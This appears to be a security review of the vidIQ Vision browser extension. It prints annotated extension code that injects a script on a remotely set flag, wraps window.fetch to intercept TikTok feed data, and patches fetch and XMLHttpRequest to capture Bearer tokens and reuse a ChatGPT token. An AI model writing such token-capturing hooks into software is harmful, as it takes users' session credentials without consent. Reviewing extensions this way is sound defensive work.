Is vidIQ Vision for YouTube safe?

// tiktokDocumentStart.bundle.js — document_start CS on www.tiktok.com/*// Queries the remote experiment flag; injects the fetch-override script only// when the server returns variant.key === 'variant'.experimentClient.getExperimentValue(FeatureFlags.TIKTOK_FETCH_OVERRIDE)  .then((result) => {    if (result && result.variant.key === 'variant') {      // inject tiktokFetchHandler.bundle.js (WAR) into the page's MAIN world      const script = document.createElement('script');      script.src = chrome.runtime.getURL('tiktokFetchHandler.bundle.js');      document.documentElement.appendChild(script);      script.parentNode?.removeChild(script);    }  });

// tiktokFetchHandler.bundle.js — injected into MAIN world on www.tiktok.com/*// Wraps window.fetch to intercept TikTok's internal video-feed API responses.const INTERCEPTED_PATHS = [  '/api/recommend/item_list/',   // For You page  '/api/following/item_list/',   // Following feed  '/api/post/item_list/',        // User profile videos  '/api/challenge/item_list/',   // Hashtag page  '/api/music/item_list/',       // Music page  '/api/topic/item_list/',       // Topic feed  '/api/search/general/full/',   // Search results  '/api/related/item_list/',     // Related videos  'api/explore/item_list',       // Explore page];const PAGE_TYPE_MAP = {  recommend: 'foryou', following: 'following', post: 'channel',  challenge: 'hashtag', music: 'music', topic: 'foryou',  search: 'search', related: 'related', explore: 'explore',};const originalFetch = window.fetch;window.fetch = function (...args) {  return originalFetch(...args).then(async (response) => {    const matchedPath = INTERCEPTED_PATHS.find(p => response.url?.includes(p));    if (matchedPath) {      const segment = new URL(response.url).pathname.split('/')[2];      const pageType = PAGE_TYPE_MAP[segment];      if (pageType) {        const body = await response.clone().json().catch(() => response.text());        document.dispatchEvent(new CustomEvent('tiktokAjaxResponse', {          detail: { url: response.url, data: body, page: pageType },        }));      }    }    return response;  });};

// Save the original native fetch before overriding itconst originalFetch = window.fetch;// Replace window.fetch to intercept authorization headers from every outgoing requestwindow.fetch = (input, init) => {  try {    // Extract Bearer token from the init.headers object (plain object, Headers instance, or [name,value][] array)    extractToken(init?.headers);    // Also check if input is a Request object with its own headers    if (input instanceof Request) extractToken(input.headers);  } catch (err) {    dispatchError(err, 'publish fetch authorization header');  }  // Call native fetch directly to avoid recursion  const promise = originalFetch.call(window, input, init);  // Sniff the connector status endpoint response when it matches  promise.then(resp => checkConnectionStatus(input, resp))         .catch(err => { if (isConnectorUrl(input)) dispatchError(err, 'read fetch connection status'); });  return promise;};// Patch XHR to capture Bearer tokens from setRequestHeader callsconst originalSetHeader = XMLHttpRequest.prototype.setRequestHeader;XMLHttpRequest.prototype.setRequestHeader = function(name, value) {  try {    if (name.toLowerCase() === 'authorization') storeBearerToken(value);  } catch (err) {    dispatchError(err, 'publish xhr authorization header');  }  return originalSetHeader.call(this, name, value);};

// Calls the ChatGPT connector status endpoint with the intercepted Bearer tokenconst checkConnectorStatus = async () => {  // Return cached result if no token has been captured yet  if (!capturedBearerToken) {    if (connectorActive === true) return true;    if (connectorActive === false && Date.now() - lastChecked < 2000) return false;    return null;  }  const controller = new AbortController();  const timeout = window.setTimeout(() => controller.abort(), 8000);  try {    // Uses saved native fetch (b) to bypass the override; injects captured Bearer token    const response = await originalFetch.call(window, '/backend-api/aip/connectors/links/list_accessible', {      body: JSON.stringify({ link_refresh_strategy: 'BLOCKING', principals: [] }),      credentials: 'include',      headers: {        authorization: capturedBearerToken,  // <-- the intercepted ChatGPT Bearer token        'content-type': 'application/json'      },      method: 'POST',      signal: controller.signal    });    if (!response.ok) return null;    const data = await response.json();    // Active when connector_id matches + auth_status 'ACTIVE' + connector_status 'ENABLED'    return parseConnectorStatus(data);  } finally {    window.clearTimeout(timeout);  }};